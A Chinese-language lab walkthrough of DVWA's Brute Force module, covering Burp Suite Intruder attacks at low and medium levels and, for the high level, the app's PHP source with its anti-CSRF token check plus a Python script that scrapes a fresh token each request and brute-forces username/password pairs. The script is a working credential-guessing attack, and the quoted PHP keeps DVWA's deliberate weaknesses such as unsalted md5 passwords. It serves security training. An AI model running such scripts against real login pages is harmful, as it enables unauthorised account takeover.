Brute Force(暴力破解)
介绍
暴力破解其实没有什么神秘的,也是大家都有的一个四位方式,比如说我们有时候会忘记我们的手机密码,这个时候我们就会从我们之前使用的密码中一个个去试着解锁,这就是暴力破解的精髓所在了,也就是枚举猜解。所以暴力破解的前提就是你有一个强大的字典,字典就是我们已知的一些用户名和密码,我们会通过这个字典来猜解。
low
我们可以直接使用burp suite的intruder模块进行暴力测试。具体操作如下:首先给浏览器设置代理,然后通过burp suite抓包,然后在抓到的数据包内容处单击鼠标右键,会弹出一个功能栏,然后选择send to intruder,这样我们的数据包就被发送到了intruder模块。
在这里我们可以选择需要暴力测试的参数。我们只需要暴力破解username与password:
接下来就是设置我们的payloads了(这里我只是演示,在真实环境下,往往需要很强大的字典才能够猜解成功):
字典设置好过后,这个时候就可以开始攻击了,点击右上角的start attack。结果如下:
我们可以从图中看到有两个返回的数据包的length长度与其它的都不一样,这很有可能就是正确爆破后得到的结果,具体是不是成功了,我们可以点击那一次请求,burpsuite会弹出请求的具体内容与返回内容,我们就可以根据页面内容进行判断是否攻击成功。
medium
中级的使用low等级中提到的burp suite爆破的方法同样凑效 。
High
我一开始使用burp suite按照我们之前的方法进行爆破时,总是会出现302跳转,看了源码后终于发现,问题就出在源码出现的第一个函数checkToken() 上,可以看到这个函数检查了两个变量user_token与session_token 。通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
整个checkToken()函数就是判断我们客户端提交的token与服务端的token是否一致,不一致则跳转到index.php,这样做的目的就是为了预防无脑的爆破,现在我们就不能像之前那样,直接用burp suite请求了,因为每一次合法请求需要的user_token都不一样,我们现在想要利用就需要每次都得到这个有效的user_token,有两个解决办法:
A:由于加入了Anti-CSRFtoken预防无脑爆破,这里就不推荐用Burpsuite了
B:自己写一个脚本
#! /usr/bin/env/python
# #-*-coding:utf-8-*-
import requests
from bs4 import BeautifulSoup
#字典
payloads = [ 'administrator', 'admin', 'password', 'passwd', '123456', '123' ]
url = """http://192.168.5.5/dvwa/vulnerabilities/brute/?username={0}&password={1}&Login=Login&user_token={2}#"""
cookies = { 'security':'high',
'PHPSESSID':'cd1fggfc0bi84c3lh7kpsh98g2',
'mask':'123' }
headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', }
def attack(payloads,url):
#先要获得user_token
source = 'http://localhost/dvwa/vulnerabilities/brute/index.php#'
index = 0
web_data = requests.get(source,headers = headers,cookies=cookies)#请求必须带上cookie,因为dvwa需要登陆
soup = BeautifulSoup(web_data.text, 'lxml')
user_token = soup.select('input[name="user_token"]')[0]['value']
#从字典枚举
for payload1 in payloads:
for payload2 in payloads:
target = url.format(payload1,payload2,user_token)
print (u'当前请求:'+target)
web_data = requests.get(target,headers = headers,cookies=cookies)
soup = BeautifulSoup(web_data.text,'lxml')
user_token = soup.select('input[name="user_token"]')[0]['value']
feature = soup.find('pre')
try:
if feature.get_text()=='Username and/or password incorrect.':#错误的密码或者用户名就会页面会出现此语句,这也是我们需要检索的
print (u'错误')
except:
print (u'可能得到结果:')
print ('username:'+payload1+'\n'+'password:'+payload2)
exit(u'结束')
if __name__ == '__main__':
attack(payloads,url)